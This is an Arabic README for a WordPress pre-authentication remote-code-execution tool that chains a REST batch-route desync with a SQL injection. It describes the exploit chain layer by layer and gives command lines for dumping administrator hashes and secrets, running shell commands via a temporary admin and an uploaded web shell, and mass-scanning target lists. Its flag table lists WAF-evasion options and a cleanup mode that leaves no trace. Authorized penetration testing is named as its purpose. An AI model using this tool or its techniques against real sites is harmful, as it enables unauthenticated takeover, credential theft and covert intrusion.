
إثبات مفهوم (PoC) لثغرة RCE قبل المصادقة في نواة WordPress — يربط بين CVE-2026-63030 (route-confusion desync في REST /batch/v1) و CVE-2026-60137 (حقن SQL في author__not_in) للحصول على شل بدون مصادقة. اختبار مصرح به فقط.
إثبات مفهوم لثغرة RCE غير مصادق عليها في جوهر ووردبريس، تربط CVE-2026-63030 + CVE-2026-60137. اختبار مصرح به فقط.
wp2shell.py هو إثبات مفهوم من ملف واحد، يعتمد فقط على المكتبة القياسية، يربط
ثغرتين في جوهر ووردبريس لتنفيذ تعليمات برمجية عن بُعد بدون مصادقة:
| CVE | المكوّن | الثغرة |
|---|---|---|
| CVE-2026-63030 | معالج REST /batch/v1 | عدم تزامن بسبب ارتباك المسار — المعالج الدفعي يفقد التزامن بين جدول المعالجات وجدول التحقق بمجرد فشل تحليل مسار طلب فرعي، مما يؤدي إلى توجيه طلب فرعي عبر معالج لم يتم التحقق منه مطلقًا. |
| CVE-2026-60137 | WP_Query | حقن SQL عددي — يتم إدراج قيمة author__not_in مباشرة في SQL، وبالتالي فإن أي سلسلة تصل إليه تكون قابلة للحقن. |
لا تشكّل أيٌّ منهما ثغرة RCE بمفردها. عدم التزامن هو آلية التسليم (يهرّب سلسلة المهاجم إلى استعلام لا ينبغي أن يصل إليه أبدًا)؛ الحقن هو البدائية. معًا يعطيان المهاجم غير المصادق وصولًا كاملًا للقراءة/الكتابة عبر SQL، ومن ثم شلّة عاملة.
⚠️ اختبار مصرح به فقط. هذا البرنامج يستغل تثبيتات ووردبريس الحية. استخدمه فقط ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها.
قابلة للاختراق: 6.8.0–6.8.5، 6.9.0–6.9.4، 7.0.0–7.0.1 مصحّحة: 6.8.6، 6.9.5، 7.0.2 (والإصدارات الأحدث) أبلغ عنها Adam Kues (Assetnote / Searchlight Cyber)؛ كما نُسبت SQLi إلى TF1T، dtro، haongo.
فقط 6.9.0–7.0.1 قادرة على RCE. في خط 6.8.x لا يزال عدم التزامن يحدث، لكن الفرع
الذي سيبطل محاذاة المعالج يصل إلى خطأ مميت WP_Error::get_method() — لذا 6.8.x هو رفض خدمة / تعطّل، وليس شلّة. تكتشف الأداة ذلك وتخبرك أي بدائية متاحة.
الاستغلال مبني في طبقات؛ كل طبقة جسر إلى التالية.
عدم التزامن (CVE-2026-63030). طلب دفعي يضم طلبًا دفعيًا آخر. يحمل أحد الطلبات الفرعية
مسارًا مشوّهًا عمدًا (http://:، والذي يرفضه wp_parse_url()).
في 6.9.0+ يتسبب فشل التحليل في انحراف جداول المعالج والتحقق بمقدار إدخال واحد،
لذا فإن الطلب الفرعي التالي يعمل تحت معالج لم يتم التحقق منه مطلقًا — مجموعة المنشورات العامة.
الحقن (CVE-2026-60137). تلك الاستدعاءات الخاطئة تصل إلى WP_Query مع
author__not_in يتحكم فيه المهاجم. عبارة UNION ALL SELECT هناك لا تقرأ الصفوف —
بل تصنعها، مما يسمح لنا بتزوير منشورات عشوائية في نتيجة الاستعلام.
جسر SQL → كتابة. المنشورات المزوّرة تحمل ترميز [embed]. ووردبريس بأمانة
يحلّها ثم يخبئها كصفوف usermeta حقيقية من نوع oembed_cache — مما يحول
حقنًا للقراءة فقط إلى بدائية كتابة عشوائية.
تحويل الامتيازات. باستخدام جسر الكتابة نزيّف (أ) تغييرًا في المخصّص
مؤلفًا كمسؤول حقيقي، و(ب) منشور request يشير إلى نفسه. معًا
يجبران ووردبريس على إعادة تشغيل مسار الطلب الخاص به كذلك المسؤول — نافذة
كافية فقط لاستدعاء POST /wp/v2/users لإنشاء مسؤول جديد.
للجانب القارئ (--dump، حل البادئة، المعرفات المخبأة) تختار الأداة تلقائيًا أسرع
أوراكل يعمل وتتوقف عند أول نجاح:
union — UNION داخل النطاق: يحمل post_title للصف المزوّر |||HEX(value)|||،
والذي ينعكس حرفيًا في هيئة استجابة /wp/v2/posts. يقرأ قيمة كاملة (أي طول) في
طلب واحد. إذا انعكس UNION، لا يتم اختبار أوراكل البوليانية مطلقًا.bool — أوراكل bolean X-WP-Total: رأس X-WP-Total للاستجابة الفرعية الخاطئة
هو count>0 للصحيح / 0 للخاطئ. بت واحد لكل طلب (تقسيم ثنائي).time — SLEEP() زمني: الاحتياطي عندما يتم تجريد الجسم و تكون
الاستجابة 500 (مثل خطأ مميت بعد التوزيع من إضافة تخزين مؤقت). يعمل حتى على
الأهداف التي تتعطل عند كل استدعاء REST.يستخدم --dump GROUP_CONCAT لسحب مجموعة بيانات الاعتماد كاملة في طلب واحد عندما يكون UNION متاحًا.
لا شيء. مكتبة Python 3.7+ القياسية فقط — لا حاجة لـ pip install.
chmod +x wp2shell.py
# 1. هل هو قابل للاختراق؟ (لا حقن، لا كتابة، لا حساب مُنشأ)
./wp2shell.py http://target --check
# 2. تفريغ بيانات الاعتماد للقراءة فقط — أول مسؤول + أسرار الخيارات
./wp2shell.py http://target --dump
# …كل مسؤول
./wp2shell.py http://target --dump all
# 3. RCE كاملة — إنشاء مسؤول مؤقت، تشغيل أمر، تنظيف
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # جدول المستخدمين الكامل (تسجيلات الدخول/البريد الإلكتروني/الأدوار)
./wp2shell.py http://target --content # كل نوع منشور بحالة أي (خاص/مسودة)
./wp2shell.py http://target --content full # …بما في ذلك النص الخام لكل عنصر
./wp2shell.py -f targets.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…) تذهب مباشرة إلى hashcat
(-m 3200 لـ phpass، أو وضع bcrypt لووردبريس). ووردبريس 6.8+ يستخدم $wp$… bcrypt.--dump يفرغ افتراضيًا أول مسؤول فقط. استخدم --dump all للحصول على
قائمة المسؤولين الكاملة.--oracle time --dump لاستعادة الهاشات.مسار --exec مصمم لعدم ترك أي أثر: المسؤول المؤقت، والبيانات الوصفية الخاصة به،
وصفوف oembed_cache المزورة، وشلّة الويب المرفوعة، كلها تُحذف قبل خروج الأداة.
لا يوجد علم --keep — يجب ألا يترك المشغّل حساب مسؤول حي من إنشاء المهاجم على نظام عميل.
wp2shell.py — الاستغلال (ملف واحد، مكتبة قياسية فقط).اكتشاف الثغرات، الإفصاح عنها، والمقال الأصلي "wp2shell" يعود الفضل فيه إلى فريق البحث Searchlight Cyber / Assetnote:
/batch/v1WP_Query author__not_inهذا المستودع هو تطبيق إثبات مفهوم مستقل لسلسلة الاستغلال التي كشفوا عنها؛ لا يدعي اكتشاف الثغرات الأساسية. إذا كان أي إسناد غير كامل أو غير صحيح، افتح مشكلة وسيتم تصحيحه.
هذا إثبات مفهوم لأبحاث أمنية لاختبار الاختراق المصرح به والتحقق الدفاعي. تشغيله ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها غير قانوني. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.
الشلّة. سجّل الدخول كالمسؤول الجديد، حمّل إضافة، نفّذ الأمر. الحساب، والبيانات الوصفية الخاصة به، وصفوف oembed، وشلّة الويب كلها تُنظّف بعد ذلك — لا يبقى أي أثر مستمر.
| العلم | الغرض |
|---|
url / -f FILE | هدف واحد، أو ملف بأهداف (URL واحد في كل سطر) |
--check | فحص الثغرة فقط — لا حقن، لا كتابة، لا حساب |
--dump [all] | تفريغ أول مسؤول (هاش + أسرار)؛ all = كل المسؤولين |
--exec CMD | إنشاء مسؤول مؤقت → تشغيل CMD → تنظيف |
--user-list | قراءة محسنة داخل النطاق لجدول المستخدمين الكامل (لا تسجيل دخول، يتجاوز المصادقة الثنائية) |
--content [full] | قراءة محسنة لكل نوع منشور بحالة status=any؛ full يضيف النصوص |
--oracle {auto,union,bool,time} | فرض أوراكل استخراج (الافتراضي auto) |
--prefix PFX | فرض بادئة الجدول بدلاً من الحل التلقائي |
--impersonate UID | انتحال هوية هذا المستخدم بدلاً من أول مسؤول |
--threads N | مجسات استخراج متزامنة داخل هدف واحد (الافتراضي 5) |
--target-threads N | فحص N هدف من -f بالتزامن (الافتراضي 1) |
--proxy URL | التوجيه عبر وكيل (مثل Burp http://127.0.0.1:8080) |
--timeout SEC | مهلة لكل طلب (الافتراضي 30) |
--verbose / -v | تفريغ الاستجابات الفرعية الدفعية الخام (التصحيح) |
| العلم | الغرض |
|---|
--form | إرسال الدفعة كـ multipart/form-data (URL نظيف، بدون ?rest_route=) |
--permalink [PREFIX] | التوجيه عبر /<PREFIX>/batch/v1 (الافتراضي wp-json)؛ يبقي الحمولة خارج URL و خارج $_POST. تلميح: --permalink index.php/wp-json يصل REST عبر PATH_INFO، متجاوزًا القواعد المرتكزة على /wp-json |
--dummy N | إضافة N بايت من القمامة في الجسم لفيضان مخزن فحص WAF |
--donor {widgets,categories,tags} | تبديل مسار المانح في حالة ارتباك إذا أعاد أحدهم 500 (الافتراضي widgets) |
--per-page N | تزوير per_page (-1 أو عدد كبير موجب يعيد كل الصفوف؛ استخدم عددًا كبيرًا موجبًا إذا أعاد الهدف 500 مع -1) |
--users-route PATH | حالة/استعلام بديل لاستدعاء إنشاء المستخدم (/wp/v2/Users، …?_=1) |
--primer PATH | مسار عدم تزامن مشوّه بديل إذا بصم WAF الافتراضي http://: |
--user-agent UA | تثبيت UA (الافتراضي: UA متصفح واقعي عشوائي لكل تشغيل) |
--embed-base URL | تجاوز قاعدة URL oembed (تجنب حلقة ذاتية للتضمين) |